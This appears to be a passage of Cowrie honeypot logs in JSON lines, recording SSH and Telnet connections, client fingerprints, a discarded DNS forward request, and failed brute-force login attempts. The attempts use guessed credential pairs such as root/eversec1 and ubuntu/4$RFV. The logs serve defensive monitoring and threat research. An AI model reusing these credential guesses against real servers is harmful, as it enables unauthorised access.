{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:44.378547Z","src_ip":"87.251.64.176","session":"b4286a93b839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:55:44.478827Z","src_ip":"87.251.64.176","session":"b4286a93b839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":37148,"dst_ip":"10.17.0.5","dst_port":22,"session":"0446d8cebbf8","protocol":"ssh","message":"New connection: 138.124.158.150:37148 (10.17.0.5:22) [session: 0446d8cebbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:00.532545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:00.537613Z","src_ip":"138.124.158.150","session":"0446d8cebbf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:00.721314Z","src_ip":"138.124.158.150","session":"0446d8cebbf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"download","password":"test","message":"login attempt [download/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:02.077276Z","src_ip":"138.124.158.150","session":"0446d8cebbf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:03.264492Z","src_ip":"138.124.158.150","session":"0446d8cebbf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47128,"dst_ip":"10.17.0.5","dst_port":22,"session":"242f89c19ae3","protocol":"ssh","message":"New connection: 87.106.29.151:47128 (10.17.0.5:22) [session: 242f89c19ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:06.086976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:06.092393Z","src_ip":"87.106.29.151","session":"242f89c19ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:06.185464Z","src_ip":"87.106.29.151","session":"242f89c19ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"tester","message":"login attempt [ubuntu/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:06.587256Z","src_ip":"87.106.29.151","session":"242f89c19ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:07.698691Z","src_ip":"87.106.29.151","session":"242f89c19ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":38766,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0494929161e","protocol":"ssh","message":"New connection: 20.82.144.240:38766 (159.203.135.109:22) [session: d0494929161e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:26.431541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:26.436079Z","src_ip":"20.82.144.240","session":"d0494929161e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:26.502749Z","src_ip":"20.82.144.240","session":"d0494929161e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456@","message":"login attempt [ubuntu/123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:26.802992Z","src_ip":"20.82.144.240","session":"d0494929161e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:27.877952Z","src_ip":"20.82.144.240","session":"d0494929161e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.51.47.135","src_port":32373,"dst_ip":"159.203.135.109","dst_port":23,"session":"84955762223c","protocol":"telnet","message":"New connection: 106.51.47.135:32373 (159.203.135.109:23) [session: 84955762223c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:55.185683Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":57170,"dst_ip":"10.17.0.5","dst_port":22,"session":"1554498a6efb","protocol":"ssh","message":"New connection: 87.106.29.151:57170 (10.17.0.5:22) [session: 1554498a6efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:58.828032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:58.832950Z","src_ip":"87.106.29.151","session":"1554498a6efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:58.925411Z","src_ip":"87.106.29.151","session":"1554498a6efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"1","message":"login attempt [vncuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:56:59.326647Z","src_ip":"87.106.29.151","session":"1554498a6efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:00.422876Z","src_ip":"87.106.29.151","session":"1554498a6efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38962,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c958e5bc091","protocol":"ssh","message":"New connection: 2.57.122.208:38962 (159.203.135.109:22) [session: 4c958e5bc091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:00.635085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:00.736687Z","src_ip":"2.57.122.208","session":"4c958e5bc091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:00.827126Z","src_ip":"2.57.122.208","session":"4c958e5bc091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:01.841597Z","src_ip":"2.57.122.208","session":"4c958e5bc091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:03.135638Z","src_ip":"2.57.122.208","session":"4c958e5bc091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49964,"dst_ip":"10.17.0.5","dst_port":22,"session":"bba6296d9542","protocol":"ssh","message":"New connection: 103.15.226.202:49964 (10.17.0.5:22) [session: bba6296d9542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:08.326057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:08.329937Z","src_ip":"103.15.226.202","session":"bba6296d9542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.255120277404785,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:08.440679Z","src_ip":"106.51.47.135","session":"84955762223c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:08.572942Z","src_ip":"103.15.226.202","session":"bba6296d9542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eversec1","message":"login attempt [root/eversec1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:09.305106Z","src_ip":"103.15.226.202","session":"bba6296d9542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:10.550777Z","src_ip":"103.15.226.202","session":"bba6296d9542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":55740,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c7724fcb496","protocol":"ssh","message":"New connection: 20.82.144.240:55740 (159.203.135.109:22) [session: 7c7724fcb496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:26.015754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:26.021078Z","src_ip":"20.82.144.240","session":"7c7724fcb496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:26.092470Z","src_ip":"20.82.144.240","session":"7c7724fcb496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"55555555","message":"login attempt [ubuntu/55555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:26.396805Z","src_ip":"20.82.144.240","session":"7c7724fcb496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:27.467475Z","src_ip":"20.82.144.240","session":"7c7724fcb496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56684,"dst_ip":"10.17.0.5","dst_port":22,"session":"210f6663bb4d","protocol":"ssh","message":"New connection: 87.251.64.176:56684 (10.17.0.5:22) [session: 210f6663bb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:28.597508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:28.602181Z","src_ip":"87.251.64.176","session":"210f6663bb4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:57:28.699072Z","src_ip":"87.251.64.176","session":"210f6663bb4d","protocol":"ssh"}
